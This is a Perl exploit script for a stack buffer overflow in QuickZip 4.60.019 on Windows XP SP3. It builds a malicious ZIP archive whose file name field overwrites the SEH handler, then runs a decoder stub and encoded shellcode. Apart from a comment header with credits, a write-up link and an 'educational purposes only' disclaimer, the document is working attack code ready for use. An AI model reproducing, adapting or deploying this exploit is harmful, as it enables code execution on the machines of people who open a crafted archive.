# Exploit Title : QuickZip 4.60.019 Stack BOF - XP SP3# OSVDB-ID: 62781# Date: March 2nd 2010# Author: corelanc0d3r# Bug found by: corelanc0d3r# Software Link : http://www.quickzip.org/downloads.html# Version : 4.60.019# OS: Windows# Tested on : XP SP3 En (VirtualBox) - offset is 297.# You may have to change this to 294# Type of vuln: SEH, with ppr from OS dll# Greetz to : Corelan Security Team# http://www.corelan.be:8800/index.php/security/corelan-team-members/# ----------------------------------------------------------------------------------------------------# Detailed write-up about this vulnerability and exploit# can be found at# http://www.offensive-security.com/blog/vulndev/quickzip-stack-bof-a-box-of-chocolates-part-2/# ----------------------------------------------------------------------------------------------------# Script provided 'as is', without any warranty.# Use for educational purposes only.# Do not use this code to do anything illegal !## Note : you are not allowed to edit/modify this code.# If you do, Corelan cannot be held responsible for any damages this may cause.### Code :
print "|------------------------------------------------------------------|\n";
print "| __ __|\n";
print "| _________________/ /___ _____ / /________ _____ ___|\n";
print "|/ ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\ / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/|\n";
print "||\n";
print "| http://www.corelan.be:8800 |\n";
print "||\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print " --==[ Exploit for QuickZip 4.60.019 ]==-- \n\n";
my $sploitfile="corelansploit.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00"."\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00"."\xe4\x0f"."\x00\x00\x00";
my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14"."\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00"."\xe4\x0f"."\x00\x00\x00\x00\x00\x00\x01\x00"."\x24\x00\x00\x00\x00\x00\x00\x00";
my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00"."\x00\x01\x00\x01\x00"."\x12\x10\x00\x00"."\x02\x10\x00\x00"."\x00\x00";
print "[+] Preparing payload\n";
my $nseh="\x41\x41\x41\x41";
my $seh="\x65\x47\x7e\x6d";
my $payload = "B" x 297 .$nseh.$seh;
my $predecoder = "\x59\x59\x59\x51\x5c";
my $decoder="\x25\x4A\x4D\x4E\x55"."\x25\x35\x32\x31\x2A"."\x2D\x55\x55\x55\x5F"."\x2D\x55\x55\x55\x5F"."\x2D\x56\x55\x56\x5F"."\x50"."\x25\x4A\x4D\x4E\x55"."\x25\x35\x32\x31\x2A"."\x2D\x2A\x6A\x31\x55"."\x2D\x2A\x6A\x31\x55"."\x2D\x2B\x5A\x30\x55"."\x50"."\x73\xf7";$payload=$payload.$predecoder.$decoder;
my $filltoecx="B" x (100-length($predecoder.$decoder));
my $shellcode = "IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BB"."ABXP8ABuJIhYXkOkXYt4vDjT4qYBNRQjfQO93TLKRQ00nkSFDLLKT6uLN"."kqV4HLKQnwPLKWF5hPOVxqeicryuQkayoKQU0lKplwTUtlKaUGLlKf4tE"."CHvaHjNkpJDXLKCjUp6aJKhcgGG9LKp4nk5QxnvQkOP1iPIlNLmTO0RTU"."ZjaZo4MUQO7M9Xqio9oKOGKcLQ4WXrUKnnkpZdds18kQvnkTLRknkpZUL"."WqJKlKtDlKUQJHk91Tq4wl3QXCmbs819xTk9HemYkr58LNRntNjLRrKXO"."lyoio9oNiBe34mkqnjxYr43LGwl7TBrJHLKyokOiomYCuUXQxrL0lupKO"."QxVSebTnPdbH0uRSsU1bLHQLq4tJNim6RvIoRuWtNio2BpMkI8NBRmmlK"."7uL7T1BKXQNKOyoYocXPstzQHq0cXWPQcsQRY1xFPRDp3rRcX0lQq0ncS"."phrCrOCBpefQkknhqL4dwbNiIsSXrEu4PXUpqxepvP47rNQxPb2ErE2NU"."8SQT6e5WPQxbOpu5psXQxE1CXgPPy0h1qrHCQcXPhrMpuSQphVQO9nh0L"."6DuNK9HatqKbPR3cV1RrYoxPDqkprpKObuvhA";
my $rest = "C" x(4064-length($payload.$filltoecx.$shellcode)).".txt";$payload = $payload.$filltoecx.$shellcode.$rest;
my $evilzip = $ldf_header.$payload.$cdf_header.$payload.$eofcdf_header;
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";